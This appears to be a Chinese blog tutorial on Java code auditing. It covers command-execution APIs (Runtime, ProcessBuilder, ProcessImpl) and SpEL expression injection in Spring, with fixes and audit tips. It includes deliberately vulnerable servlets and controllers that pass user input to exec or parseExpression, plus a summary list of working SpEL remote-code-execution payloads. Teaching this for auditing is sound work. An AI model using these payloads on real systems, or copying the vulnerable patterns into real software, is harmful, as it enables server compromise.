文章目录
之前的文章,
php代码审计12之命令执行
1、Java命令执行的函数
在Java中可用于执行系统命令的函数有三个:
java.lang.Runtime
java.lang.ProcessBuilder
java.lang.ProcessImpl
三个方法的调用关系如下,可以看到,
其实是Runtime方法封装了ProcessBuilder方法,
而ProcessBuilder方式是封装了ProcessImpl方法

1.1、Runtime类
Runtime类是私有的,
类的对象无法通过这种方式注册: Runtime r = new Runtime() ;
只能通过静态方法(getRuntime)获取: Runtime r = Runtime.getRuntime();
rce1Servlet.java
package com.example.demo;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
@WebServlet("/rce1")
public class rce1Servlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
req.setCharacterEncoding("utf-8");
resp.setCharacterEncoding("utf-8");
resp.setContentType("text/html; charset=utf-8");
String cmd = req.getParameter("cmd");
StringBuffer sb = new StringBuffer();
BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
String line;
while ((line=br.readLine())!=null){
sb.append(line).append("</br>");
}
br.close();
resp.getWriter().write(sb.toString());
}
}
访问,
http://localhost:8080/rce1?cmd=calc

1.2、追踪三个函数的关系
直接跟进exec函数,一直“ctrl+点击exec”函数,

最终可以跟到,是调用的ProcessBuilder类的start函数,

继续跟进start函数,看到调用的是ProcessImpl.start
与上边的图一致,

1.3、ProcessBuilder类
这种复现本质意义不大,重点是记一下敏感函数,
rce2Servlet.java
package com.example.demo;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
@WebServlet("/rce2")
public class rce2Servlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
req.setCharacterEncoding("utf-8");
resp.setCharacterEncoding("utf-8");
resp.setContentType("text/html; charset=utf-8");
String cmd = req.getParameter("cmd");
String[] arrcmd={"cmd.exe","/c",cmd};
StringBuffer sb = new StringBuffer();
ProcessBuilder processBuilder= new ProcessBuilder(arrcmd);
Process process = processBuilder.start();
BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line=br.readLine())!=null){
sb.append(line).append("</br>");
}
br.close();
resp.getWriter().write(sb.toString());
}
}
访问,
http://localhost:8080/rce1?cmd=calc

1.4、ProcessImpl类
ProcessImpl类通常是为ProcessBuilder.start()创建新进程服务的,不能直接去调用。
看到ProcessImpl类构造器私有,所以不能直接对其进行实例化,为了演示可以用反射进行调用。
在获取到一个静态方法后,必须用setAccessible修改它的作用域,否则不能调用。

2、SpEL表达式
SpEL(Spring Expression Language),即Spring表达式语言,是比JSP的EL更强大的一种表达式语言。
从Spring 3开始引入了Spring表达式语言,支持在运行时查询和操作对象图,
可以与基于XML和基于注解的Spring配置还有bean定义一起使用。
SpEL的用法有三种形式,
一种是在注解@Value中;
一种是XML配置;
一种是在代码块中使用Expression。
各种Spring CVE漏洞都是基于Expression形式的SpEL表达式注入
2.1、正常使用的场景
@RequestMapping("/spel")
@ResponseBody
public String spel(String input){
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(input);
return expression.getValue().toString();
}
直接将用户的输入当作表达式内容进行解析。
输入一个简单的乘法运算2*2,可以看到返回的值是经过解析后的4

我们来模拟下,
String input = "2*2";
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(input);
System.out.println(expression.getValue().toString());

2.2、造成漏洞
上边的input是用户可控的,
当用户传入恶意参数,就会执行命令
//String input = "2*2";
String input = "T(java.lang.Runtime).getRuntime().exec('calc')";
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(input);
System.out.println(expression.getValue().toString());

**Spel漏洞的原理:**
SpEL表达式是可以操作类及其方法的,可以通过类型表达式T(Type)来调用任意类方法。
T(Type) 运算符会调用类的作用域和方法;SpEL内置了 java.lang 包下的类声明
在不指定 EvaluationContext 的情况下默认采用的是 StandardEvaluationContext,
而它包含了SpEL的所有功能,允许用户在可以控制输入的情况下成功造成任意代码执行。
2.3、漏洞修复
EvaluationContext:这是一个通用的上下文接口,用于在SpEL表达式中传递变量和方法调用。
它包含了一些基本的属性访问器,
如getProperty()和setProperty(),以及一些方法,如setVariable()和getVariable()。
通过实现这个接口,可以在SpEL表达式中使用任意类型的变量和方法。
SimpleEvaluationContext和StandardEvaluationContext是SpEL提供的两个EvaluationContext,
SimpleEvaluationContext是一个简化版的EvaluationContext,
仅支持SpEL语言语法的一个子集,不包括Java类型引用、构造函数和 bean引用。
不会造成漏洞(一般用来修复造成的漏洞)
StandardEvaluationContext是完整版的EvaluationContext
支持全部SpEL语法,在不指定EvaluationContext的情况下,默认使用此方法。
会造成漏洞
所以我们在上边造成漏洞的代码内,没有任何和“StandardEvaluationContext”相关的代码,
但是仍然造成了漏洞,
//没有出现“StandardEvaluationContext”
String input = "T(java.lang.Runtime).getRuntime().exec('calc')";
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(input);
System.out.println(expression.getValue().toString());
这段代码的功能和下边一致,
//String input = "2*2";
String input = "T(java.lang.Runtime).getRuntime().exec('calc')";
SpelExpressionParser parser = new SpelExpressionParser();
EvaluationContext context = new StandardEvaluationContext();
Expression expression = parser.parseExpression(input);
System.out.println(expression.getValue(context).toString());

了解上述之后,修复就比较简单了,正常功能没问题,
String input = "2*2";
//String input = "T(java.lang.Runtime).getRuntime().exec('calc')";
SpelExpressionParser parser = new SpelExpressionParser();
// 创建一个安全的EvaluationContext
SimpleEvaluationContext simpleContext = SimpleEvaluationContext.forReadOnlyDataBinding().build();
Expression expression = parser.parseExpression(input);
System.out.println(expression.getValue(simpleContext).toString());

运行恶意代码就会报错,

比如 CVE-2018-1273 的修复方式就和我们上边几乎一致,
将StandardEvaluationContext换为SimpleEvaluationContext

2.4、多种产生漏洞的情况
第一种,
T(java.lang.Runtime).getRuntime().exec("calc")
完整漏洞代码,
package com.example.controller;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.expression.Expression;
import org.springframework.expression.common.TemplateParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
@RestController
@EnableAutoConfiguration
public class Index {
@ResponseBody
@RequestMapping(value = "/spel", method = {RequestMethod.GET, RequestMethod.POST})
public String spel(String cmd){
SpelExpressionParser parser = new SpelExpressionParser(); 创建ExpressionParser解析表达式
// TemplateParserContext templateParserContext = new TemplateParserContext();
// Expression expression = parser.parseExpression(cmd,templateParserContext);
Expression expression = parser.parseExpression(cmd);
return expression.getValue().toString();
}
}

第二种,
new java.lang.ProcessBuilder("calc").start()
代码和上边一致,

第三种,
cmd=#{2*2}
这种直接传参是会报错的,需要一个模板引擎,

这种需要post传参,测试get会报错,即使url编码“#”

一个问题是这种如何传递前两种方式呢,直接传就回显了

放到括号就ok了,
#{T(java.lang.Runtime).getRuntime().exec("calc")}
#{new java.lang.ProcessBuilder("calc").start()}

但是上边的两种么有回显,稍微改下就行了,
#{new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "ipconfig /all").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()}
小结,
、、正常无回显
T(java.lang.Runtime).getRuntime().exec("calc")
new java.lang.ProcessBuilder("calc").start()
、、正常有回显
new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "ipconfig /all").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()
、、模板的无回显,就将上面的payload放到“ #{} ”
#{T(java.lang.Runtime).getRuntime().exec("calc")}
#{new java.lang.ProcessBuilder("calc").start()}
、、模板有回显,就将上面的payload放到“ #{} ”
#{new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "ipconfig /all").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()}
2.5、发现漏洞,重要关注两点:
存在new SpelExpressionParser() 、、表示创建了spel的解析器(使用spel技术)
parseExpression(spel) 、、参数spel可控( 解析表达式 )
String spel = "new java.util.Date()";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue());
本文详细介绍了Java中执行系统命令的Runtime、ProcessBuilder和ProcessImpl方法,以及SpEL表达式在Spring框架中的使用,展示了潜在的安全漏洞,并提供了修复建议。
926

被折叠的 条评论
为什么被折叠?



